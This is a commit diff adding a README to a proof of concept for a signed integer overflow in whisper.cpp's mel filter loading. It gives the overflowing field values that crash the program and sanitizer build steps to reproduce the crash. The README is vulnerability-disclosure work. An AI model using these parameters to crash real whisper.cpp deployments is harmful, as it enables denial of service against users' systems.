Add PoC and reproduction instructions

README.md

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+# PoC: Signed Integer Overflow in whisper.cpp Mel Filter Loading
+
+**Format:** GGML (.bin)
+**Target:** whisper.cpp (ggml-org/whisper.cpp)
+**CWE:** CWE-190 (Integer Overflow)
+
+## Vulnerability
+
+Signed integer overflow in mel filter size calculation. `n_mel=0x7FFFFFFF * n_fft=2` overflows int32 → massive `vector::resize()` → crash.
+
+## Reproduction
+
+```bash
+git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp
+mkdir build-asan && cd build-asan
+cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
+  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
+  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
+make -j$(nproc)
+./bin/whisper-cli -m ../poc_mel_overflow.bin -f /dev/null
+```
+
+UBSan reports: `runtime error: signed integer overflow: 2147483647 * 2`
+
+**Tested:** whisper.cpp commit 364c77f4